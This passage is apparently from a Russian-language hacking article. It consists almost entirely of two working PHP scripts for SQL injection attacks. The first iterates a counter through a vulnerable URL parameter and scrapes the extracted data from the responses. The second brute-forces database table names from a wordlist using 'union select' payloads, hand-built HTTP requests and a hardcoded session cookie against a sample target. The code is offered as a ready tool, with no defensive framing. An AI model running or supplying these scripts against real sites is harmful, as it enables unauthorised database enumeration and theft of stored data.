    if(!empty($_GET['h']))$set['h']=$_GET['h'];
    
    for($i=$set['f'];$i<=$set['s'];$i++)
    {
    $zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре
    
    //Создаем пакет
    $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $header.="Connection: keep-alive\r\n";
    $header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
    $header.='Cookie2: $Version=1'."\r\n";
    $header.="Host: ".$set['h']."\r\n\r\n";
    
    $dt="";
    $fp=fsockopen($set['h'], 80);
    fwrite($fp, $header);
    while(!feof($fp)) $dt.=fread($fp, 1024);
    fclose($fp);
    
    //Вырезаем необходимую инфу
    $dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
    $dt=substr($dt,0,strpos($dt,$set['e']));
    
    //Выводим инфу на экран
    echo($dt."\r\n");
    flush();
    }
    ?>
    

    Скрипт для брута имен столбцов и полей

    <?php
    $set['f']="bryt_name_table.txt";//Словарик с именами таблиц/полей
    $set['t']=false;//Определять существование таблицы по наличию строки(true) или отсутствию(false)
    $set['n']="Table 'test.+++name+++' doesn't exist";//Если эта строка отсутствует значит таблица есть в БД
    $set['y']="Здравствуй вася :)";//Если эта строка присутствует значит таблица есть в БД
    $set['u']="http://test1.ru/news?id=";//URL с узвимым параметров В КОНЦЕ(!)
    $set['z']="1 union select 1,2,3,4,5,6 FROM +++name+++";//Значение уязвимого параметра
    $set['c']="+++name+++";//Строка каждый раз заменяймая на текущее имя таблицы
    $set['h']="test1.ru";//Хост
    
    @set_time_limit(0);//30 секунд по дефолту нам может не хватить...
    
    //Чтобы не париться каждый раз и не лезть в файл
    if(!empty($_GET['f']))$set['f']=$_GET['f'];
    if(!empty($_GET['t']))$set['t']=$_GET['t'];
    if(!empty($_GET['n']))$set['n']=$_GET['n'];
    if(!empty($_GET['y']))$set['y']=$_GET['y'];
    if(!empty($_GET['u']))$set['u']=$_GET['u'];
    if(!empty($_GET['z']))$set['z']=$_GET['z'];
    if(!empty($_GET['c']))$set['c']=$_GET['c'];
    if(!empty($_GET['h']))$set['h']=$_GET['h'];
    
    $tables_names=file($set['f']);//Открываем файл
    
    //Начинаем брутофорс
    for($i=0;$i<count($tables_names);$i++)
    {
    //Удаляем символы перехода строки
    $tables_names[$i]=str_replace("\r","",$tables_names[$i]);
    $tables_names[$i]=str_replace("\n","",$tables_names[$i]);
    
    //Изменияем строку на текущее имя таблицы
    $zapros=str_replace($set['c'],$tables_names[$i],$set['z']);
    $in_str=str_replace($set['c'],$tables_names[$i],$set['y']);
    $ou_str=str_replace($set['c'],$tables_names[$i],$set['n']);
    
    //Создаем пакет
    $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $header.="Connection: keep-alive\r\n";
    //$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
    //$header.='Cookie2: $Version=1'."\r\n";
    $header.="Host: ".$set['h']."\r\n\r\n";
    
    //Оптравка/прием данных
    $dt="";
    $fp=fsockopen($set['h'], 80);
    fwrite($fp, $header);
    while(!feof($fp)) $dt.=fread($fp, 1024);
    fclose($fp);
    
    //Ну и соответственно вывод на экран.
    $found=0;
    if($set['t'])
    {
    	if(substr_count($dt,$in_str)>0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
    }
    if($set['t']===false)
    {
    	if(substr_count($dt,$ou_str)===0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
    }
    if($found===0)echo("<font color='red'>".$tables_names[$i]."</font>");
    echo("<hr>\r\n");
    flush();
    }
    ?>
    

    Дата створення/оновлення: 25.05.2018

    ';>